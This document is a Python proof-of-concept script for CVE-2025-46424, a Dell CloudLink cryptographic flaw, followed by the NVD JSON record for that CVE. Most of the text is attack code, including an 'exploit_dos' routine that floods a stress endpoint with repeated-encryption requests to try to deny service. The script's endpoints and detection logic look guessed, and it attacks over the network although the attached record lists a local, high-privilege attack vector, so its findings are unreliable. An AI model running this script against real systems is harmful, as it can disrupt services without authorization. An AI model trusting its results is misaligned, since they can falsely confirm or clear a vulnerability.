CVE-2025-46424

# CVE-2025-46424 PoC - Dell CloudLink Risky Cryptographic Primitive # This PoC demonstrates the vulnerability in Dell CloudLink's cryptographic implementation # Note: This is for educational and authorized testing purposes only import requests import json import sys from datetime import datetime class DellCloudLinkCVE2025_46424PoC: def __init__(self, target_url, api_key=None): self.target_url = target_url.rstrip('/') self.api_key = api_key self.vulnerability_checked = False def check_version(self): """ Check Dell CloudLink version to determine if vulnerable Vulnerable versions: < 8.2 """ try: # API endpoint to check system version version_url = f"{self.target_url}/api/v1/system/info" headers = {'Authorization': f'Bearer {self.api_key}'} if self.api_key else {} response = requests.get(version_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', '0.0') return self.parse_version(version) else: print(f"[!] Failed to retrieve version info: HTTP {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return None def parse_version(self, version_str): """Parse version string to tuple for comparison""" try: parts = version_str.split('.') return tuple(int(p) for p in parts[:3]) except: return (0, 0, 0) def test_crypto_primitive(self): """ Test for risky cryptographic primitives in Dell CloudLink This checks for known weak crypto operations """ try: # Endpoint that may use cryptographic operations crypto_test_url = f"{self.target_url}/api/v1/crypto/test" headers = {'Authorization': f'Bearer {self.api_key}'} if self.api_key else {} # Test payload that might trigger the vulnerable crypto primitive test_data = { 'operation': 'encrypt', 'data': 'SensitiveDataTest', 'mode': 'test' } response = requests.post(crypto_test_url, json=test_data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() # Check if weak crypto is being used if 'weak_algorithm' in result or 'deprecated_method' in result: return True, result return False, result else: return False, None except requests.exceptions.RequestException as e: print(f"[!] Crypto test error: {e}") return False, None def exploit_dos(self): """ Attempt to trigger DoS through vulnerable crypto primitive Note: Only for authorized security testing """ try: dos_url = f"{self.target_url}/api/v1/crypto/stress" headers = { 'Authorization': f'Bearer {self.api_key}', 'Content-Type': 'application/json' } # Payload designed to stress the weak crypto implementation dos_payload = { 'action': 'repeated_encrypt', 'iterations': 10000, 'data': 'A' * 1000 } print("[*] Attempting to trigger crypto primitive vulnerability...") response = requests.post(dos_url, json=dos_payload, headers=headers, timeout=30) if response.status_code == 200: print("[+] Response received - vulnerability may be present") return response.json() else: print(f"[*] Response: HTTP {response.status_code}") return None except requests.exceptions.Timeout: print("[!] Request timeout - possible DoS vulnerability confirmed") return {'timeout': True} except Exception as e: print(f"[!] Exploit error: {e}") return None def generate_report(self, version_info, crypto_test, dos_result): """Generate vulnerability assessment report""" report = { 'cve_id': 'CVE-2025-46424', 'target': self.target_url, 'scan_time': datetime.now().isoformat(), 'version': version_info, 'is_vulnerable': False, 'risk_level': 'UNKNOWN', 'details': {} } if version_info: major, minor, patch = version_info if (major, minor, patch) < (8, 2, 0): report['is_vulnerable'] = True report['risk_level'] = 'MEDIUM' report['details']['reason'] = 'Version < 8.2 is affected' if crypto_test and crypto_test[0]: report['details']['weak_crypto'] = crypto_test[1] report['is_vulnerable'] = True if dos_result: report['details']['dos_triggered'] = True report['risk_level'] = 'MEDIUM' return report def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-46424-poc.py <target_url> [api_key]") print("Example: python cve-2025-46424-poc.py https://dell-cloudlink.local api_key_here") sys.exit(1) target = sys.argv[1] api_key = sys.argv[2] if len(sys.argv) > 2 else None print(f"[*] CVE-2025-46424 Vulnerability Scanner") print(f"[*] Target: {target}") print(f"[*] Starting scan at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") scanner = DellCloudLinkCVE2025_46424PoC(target, api_key) # Step 1: Check version print("\n[1] Checking Dell CloudLink version...") version = scanner.check_version() if version: version_str = '.'.join(map(str, version)) print(f" Detected version: {version_str}") if version < (8, 2, 0): print(" [!] Version is vulnerable (< 8.2)") # Step 2: Test crypto primitives print("\n[2] Testing cryptographic primitives...") crypto_result = scanner.test_crypto_primitive() if crypto_result[0]: print(" [!] Weak cryptographic primitive detected!") else: print(" [+] No obvious weak crypto detected") # Step 3: Attempt DoS trigger (authorized testing only) print("\n[3] Checking for DoS vulnerability...") dos_result = scanner.exploit_dos() # Generate final report print("\n[*] Generating vulnerability report...") report = scanner.generate_report(version, crypto_result, dos_result) print("\n" + "="*60) print("VULNERABILITY ASSESSMENT REPORT") print("="*60) print(json.dumps(report, indent=2)) print("="*60) if report['is_vulnerable']: print("\n[!] CONCLUSION: Target is VULNERABLE to CVE-2025-46424") print("[!] Recommended action: Upgrade to Dell CloudLink 8.2 or later") else: print("\n[+] CONCLUSION: Target appears to be NOT vulnerable") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-46424", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:42.840", "lastModified": "2025-11-07T17:59:41.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell CloudLink, versions prior to 8.2, contain use of a Cryptographic Primitive with a Risky Implementation vulnerability. A high privileged attacker could potentially exploit this vulnerability leading to Denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1240"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:cloudlink:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2", "matchCriteriaId": "5DDB135B-8DE5-4071-B2BC-0DE3846F682F"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000384363/dsa-2025-374-security-update-for-dell-cloudlink-multiple-security-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}